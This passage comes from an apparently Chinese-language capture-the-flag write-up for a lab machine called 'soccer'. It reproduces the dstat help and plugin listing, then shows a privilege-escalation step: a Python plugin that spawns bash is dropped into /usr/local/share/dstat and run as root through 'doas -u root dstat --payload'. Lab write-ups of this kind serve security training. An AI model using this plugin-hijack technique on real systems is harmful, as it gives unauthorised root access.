-i, --int enable interrupt stats
-I 5,eth2 include int5 and interrupt used by eth2
-l, --load enable load stats
-m, --mem enable memory stats
-n, --net enable network stats
-N eth1,total include eth1 and total
-p, --proc enable process stats
-r, --io enable io stats (I/O requests completed)
-s, --swap enable swap stats
-S swap1,total include swap1 and total
-t, --time enable time/date output
-T, --epoch enable time counter (seconds since epoch)
-y, --sys enable system stats
--aio enable aio stats
--fs, --filesystem enable fs stats
--ipc enable ipc stats
--lock enable lock stats
--raw enable raw stats
--socket enable socket stats
--tcp enable tcp stats
--udp enable udp stats
--unix enable unix stats
--vm enable vm stats
--vm-adv enable advanced vm stats
--zones enable zoneinfo stats
--list list all available plugins
--<plugin-name> enable external plugin by name (see --list)
-a, --all equals -cdngy (default)
-f, --full automatically expand -C, -D, -I, -N and -S lists
-v, --vmstat equals -pmgdsc -D total
--bits force bits for values expressed in bytes
--float force float values on screen
--integer force integer values on screen
--bw, --black-on-white change colors for white background terminal
--color force colors
--nocolor disable colors
--noheaders disable repetitive headers
--noupdate disable intermediate updates
--output file write CSV output to file
--profile show profiling statistics when exiting dstat
delay is the delay in seconds between each update (default: 1)
count is the number of updates to display before exiting (default: unlimited)
在中文中,可以指定的选项大约有-C、-D、-I、-N、-S、–、–output file。其中我对–更感兴趣。尝试用–list确认其内容。
player@soccer:/usr/local/share/dstat$ dstat --list
internal:
aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,
raw,socket,swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,
dstat-ctxt,dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,
md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,
mysql5-conn,mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,nfsd3,nfsd3-ops,
nfsd4-ops,nfsstat4,ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,
snmp-sys,snooze,squid,test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,top-io,
top-io-adv,top-latency,top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,
wifi,zfs-arc,zfs-l2arc,zfs-zil

创建有效载荷
尝试在“/usr/local/share/dstat”目录下创建Python加载文件。
import subprocess
subprocess.run(['bash'])
尝试将上述的Python文件作为dstat插件加载并通过doas进行执行。
player@soccer:/usr/local/share/dstat$ doas -u root dstat --payload

player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --payload

总结

希望这次也能对安全工程师的大家有所帮助。